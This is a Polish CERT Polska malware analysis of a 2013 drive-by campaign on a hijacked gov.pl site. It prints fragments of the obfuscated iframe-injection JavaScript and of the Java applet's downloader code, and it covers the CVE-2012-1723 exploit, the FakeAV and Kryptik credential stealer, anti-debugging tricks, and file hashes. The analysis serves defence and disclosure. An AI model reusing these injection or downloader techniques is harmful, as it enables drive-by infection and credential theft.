Kampania malware na stronie rządowej

Data publikacji: 20/05/2013, Łukasz Siewierski

malware-icon

Na początku maja 2013 roku CERT Polska we współpracy z CERT.GOV.PL wykrył stronę w domenie gov.pl, która została przejęta w celu rozprzestrzeniania złośliwego oprogramowania. Na stronie, w zależności od konfiguracji maszyny ofiary, dodawana była ramka (iframe), która przekierowywała do exploita. Następnie za pomocą systemu o nazwie „Smoke Loader” ściągane były dwie złośliwe aplikacje. Pierwsza to oprogramowanie typu FakeAV, czyli złośliwe oprogramowanie udające program antywirusowy. Po „wykryciu” zagrożeń oprogramowanie to zachęca użytkownika do zakupu (za pomocą karty kredytowej) pełnej wersji, która pozwoli usunąć wykryte zagrożenia. Druga z nich to koń trojański Kryptik, który służy do kradzieży danych logowania z wielu popularnych klientów FTP, SSH czy WWW. Oprócz tego wykrada certyfikaty służące do podpisywania aplikacji oraz przeprowadza atak słownikowy na konto zalogowanego użytkownika. Zawiera on również ciekawe techniki zabezpieczające przed deasemblacją i analizą wykonania.

Od wejścia na stronę do exploita

Po wejściu na przejętą stronę skrypt po stronie serwera określa czy dany użytkownik zostanie uznany za cel czy nie. Zależy to między innymi od przeglądarki, jaka jest używana oraz sieci z jakiej użytkownik się łączy. W przypadku gdy użytkownik zostanie wybrany, do kodu źródłowego strony za zamknięciem tagu html zostanie dodany zaciemniony kod JavaScript, który dodaje niewidoczną ramkę (iframe) do obecnej strony. Przykład takiego kodu znajduje się poniżej:

<script>// <![CDATA[
  e = eval;
  v = "0" + "x";
  a = 0;
  z = "y";
  try {
      a *= 2
  } catch (q) {
      a = 1
  }
  if (!a) {
      try {
          document["x62od" + z]++
      } catch (q) {
          a2 = "_"
      }
      z = "10_10_70_6d_27_2f_6b_[redacted]_30_42_14_10_10_84" ["split"](a2);
      za = "";
      for (i = 0; i < z.length; i++) {
          za += String["fromCharCode"](e(v + (z[i])) - 4 - 3);
      }
      zaz = za;
      e(z
// ]]></script>

W ramce tej znajduje się kod, który uzyskuje informację o wersjach wtyczek zainstalowanych w przeglądarce (jak np. Java, Flash, Silverlight czy nawet VLC). Dane te są przesyłane do serwera, z którego wczytany został kod ramki i na ich podstawie wybierany jest exploit, który zostanie użyty do przejęcia kontroli nad komputerem ofiary. Udało nam się ustalić, że najprawdopodobniej jedyny exploit jakim dysponowali przestępcy wykorzystywał lukę CVE-2012-1723 obecną w wersjach Javy 1.7u4 i niższych, 1.6u32 i niższych, 1.5u35 i niższych oraz 1.4.2u37 i niższych.

Dzięki elastyczności wykorzystanego exploit-kita (czyli systemu służącego do przejmowania kontroli nad komputerem ofiary wykorzystując podatności w różnych wtyczkach) możliwe jest dodanie do oryginalnej strony (a właściwie ramki w niej osadzonej) dowolnego kodu html. W tym przypadku dodany został kod, który osadzał aplet języka Java. Aplet ten został dodatkowo zaciemniony, aby utrudnić jego analizę. Najważniejszą jego klasą była klasa JBL, której fragment odpowiedzialny za ściągnięcie pliku downloadera prezentujemy poniżej.

try
{
URL localURL = new URL(str);
localObject = (HttpURLConnection)localURL.openConnection();
int i = ((HttpURLConnection)localObject).getContentLength();
int j = ((HttpURLConnection)localObject).getResponseCode();
if ((j == 200) &amp;&amp; (i &gt; 0))
{
InputStream localInputStream = ((HttpURLConnection)localObject).getInputStream();
BufferedInputStream localBufferedInputStream = new BufferedInputStream(localInputStream);
byte[] arrayOfByte1 = new byte[i];
int k = 0;
int m = 0;
while (m &lt; i)
{
k = localBufferedInputStream.read(arrayOfByte1, m, arrayOfByte1.length - m);
if (k == -1)
break;
m += k;
}
localBufferedInputStream.close();
File localFile = File.createTempFile("i4g", ".exe");
FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
if ((xkey != null) &amp;&amp; (xkey.length() != 0))
{
byte[] arrayOfByte2 = new byte[arrayOfByte1.length];
arrayOfByte2 = xwk(arrayOfByte1, xkey.getBytes("ISO_8859_1"));
localFileOutputStream.write(arrayOfByte2);
}

Zarówno downloader jak i kod html osadzający exploit zostały zaciemnione za pomocą prostego szyfru XOR z losowym (za każdym razem innym) hasłem.

Pobranie złośliwego oprogramowania

Po ściągnięciu przez applet Javy pliku downloadera następuje jego uruchomienie. W tym celu został najprawdopodobniej wykorzystany Smoke Loader, który komunikuje się z C&C za pomocą prostego szyfru. Ponieważ exploit zadziała zarówno na systemie Linux jak i na systemie Windows, przestępcy przed uruchomieniem downloadera muszą się upewnić, że zostanie uruchomiony tylko na systemie Windows. Jest to sprawdzane za pomocą poniższego kodu:

System.getProperty("path.separator").equals(";");

Downloader najpierw sprawdza, wchodząc na witrynę windowsupdate.microsoft.com czy jest dostępne połączenie z Internetem. Następnie komunikuje się z serwerem C&C, z którego pobiera listę plików do ściągnięcia. Po ściągnięciu (i uruchomieniu) wszystkich plików program kończy swoje działanie. Komunikacja z serwerem C&C jest „szyfrowana”, a komunikaty powstają według poniższego schematu.

&lt;długość wiadomości (4 bajty)&gt;&lt;wiadomość&gt;

Wcześniejsze wersje Smoke Loadera przesyłały polecania za pomocą parametrów żądania GET. Ta wersja wysyła żądanie POST, a w jego treści znajdują się zaciemnione parametry, które wcześniej wysyłane były żądaniem GET. Oprócz tego wykorzystywany w komunikacji był niestandardowy nagłówek HTTP o nazwie Init. W żądaniu również używana była niestandardowa wartość nagłówka User Agent: Mozilla/4.0. Dzięki zastosowaniu unikalnych losowych loginów zarówno przy ściąganiu exploita jak i przy komunikacji downloadera z C&C przestępcy są w stanie monitorować i kontrolować proces zarażania się poszczególnych komputerów. W tym przypadku downloader ściągnął dwa złośliwe programy umieszczone w plikach o nazwach: soft4.exe oraz soft9.exe

Złośliwe oprogramowanie – soft4.exe (FakeAV: System Care Antivirus)

Pierwsze złośliwe oprogramowanie, nazwane soft4.exe ma za zadanie udawać oprogramowanie antywirusowe i strasząc użytkownika fałszywymi zagrożeniami przekonuje go do podania danych swojej karty kredytowej. Proces instalacji oprogramowania jest kontrolowany poprzez C&C. Po zainstalowaniu i ponownym uruchomieniu komputera użytkownikowi prezentowane jest okno z informacją (po angielsku), że jego komputer zostanie przeskanowany pod kątem wirusów. Po skanowaniu otrzymujemy informację, że na naszym komputerze znajduje się bardzo dużo zagrożeń i musimy kupić pełną wersję „System Care Antivirus”, żeby je usunąć. Zostajemy wtedy przekierowani na stronę internetową, gdzie musimy wpisać dane swojej karty kredytowej (kraj pochodzenia został już za nas wypełniony).

Jeśli nie zdecydujemy się na zakup to malware nie pozwoli na uruchomienie żadnego innego programu, informując, że jest on zainfekowany. Po zakupie otrzymujemy kod odblokowujący, który pozwoli nam normalnie korzystać z komputera. Powyżej przedstawiono okno skanowania. Malware ten zawiera również ciekawą funkcję, której celem jest sprawdzenie czy program nie jest debugowany. Przez porównywanie wartości zwracanej przez GetTickCount z wartościami podawanymi do funkcji Sleep można sprawdzić czy program nie jest zatrzymywany w trakcie wykonania. Funkcja porównująca te wartości jest zaprezentowana poniżej.

Złośliwe oprogramowanie – soft9.exe (Kryptik)

Drugi plik wykonywalny zawierał konia trojańskiego nazywanego przez producentów antywirusów Kryptik. Zawiera on kod kradnący hasła z bardzo dużej liczby programów, między innymi:

    • PuTTy
    • WinSCP
    • ChromePlus
    • BulletProof FTP
    • FileZilla
    • Google Chrome
    • Chromium
    • Mozilla Thunderbird
    • Opera
    • Mozilla Firefox
    • Microsoft Internet Explorer
    • WinFTP

     

     

     

Oprócz tego aplikacja kradnie certyfikaty X509 użytkownika służące do podpisywania aplikacji. Poniżej znajduje się fragment kodu odpowiedzialny za kradzież tych danych.

Aplikacja próbuje również, z wykorzystaniem funkcji WinAPI LogonUser, zalogować się na konto użytkownika używając predefiniowanej listy haseł. Dzięki temu atakowi słownikowemu przestępca może uzyskać dane logowania użytkownika. Na początku testowane jest hasło takie samo jak nazwa użytkownika, następnie hasła z listy zawierającej 257 słów.

To złośliwe oprogramowanie zawiera również ciekawe techniki utrudniające deasemblację oraz analizę wykonania w debuggerze. Pierwszą z nich jest połączenie techniki PUSH/RET z nieosiągalnymi warunkami. Na rysunku umieszczonym po lewej stronie kolorem czerwonym zaznaczono sekwencję PUSH/RET, która doprowadzi do wykonania instrukcji pod adresem 4011C4. Natomiast niemożliwa do zrealizowania instrukcja warunkowa (oznaczona na zielono, osiągnięta dzięki sekwencji CLC/JB) prowadziłaby do adresu 4011C3. Przez to oprogramowanie służące do deasemblacji, w większości przypadków, nie jest w stanie poprawnie przedstawić kod.

Aplikacja sprawdza również czy nie jest podłączony debugger weryfikując wartość pola BeingDebugged struktury PEB.

Podsumowanie

Na zainfekowanej stronie znajduje się profesjonalna kampania rozprzestrzeniająca złośliwe oprogramowanie. Korzysta ona ze znanych systemów takich jak Smoke Loader. Rozprzestrzeniane oprogramowanie jest dosyć złożone, ma bardzo duże możliwości oraz zawiera w sobie techniki utrudniające inżynierię wsteczną.

Wyniki skanowania plików za pomocą serwisu VirusTotal zaprezentowane są poniżej.

16/47 exploit.jar
32/47 downloader.exe
32/47 soft4.exe
28/47 soft9.exe

Dzisiaj większość programów antywirusowych wykrywa te zagrożenia, ale historyczne wyniki pokazują początkowy sukces kampanii:

2013-05-07 07:40:07 2/46 exploit.jar
2013-05-09 08:23:29 3/46 downloader.exe

Skróty MD5 oraz SHA1 plików, które zostały wymienione w artykule znajdują się poniżej.

1
2
3
4
f9c6605ab956a0ea04e5aaf09e87cff5 exploit.jar
27c71e99d14139fec7d7816fae6c7401 downloader.exe
4419d4a677ff993e1e845e1fa4dc1ad2 soft4.exe
03b4c931a00b028a8c18033ecea99b39 soft9.exe
1
2
3
4
624e96c3130bd641e5b859ea296e817c9dc981b5 exploit.jar
e6027fd901813527be11df2bc11e4872b869ac2a downloader.exe
d5c6c562dcd9e41bb60b81730d660743dcf83869 soft4.exe
e1396bb675ada5652f3a8aeadb41ae587a7b2bc8 soft9.exe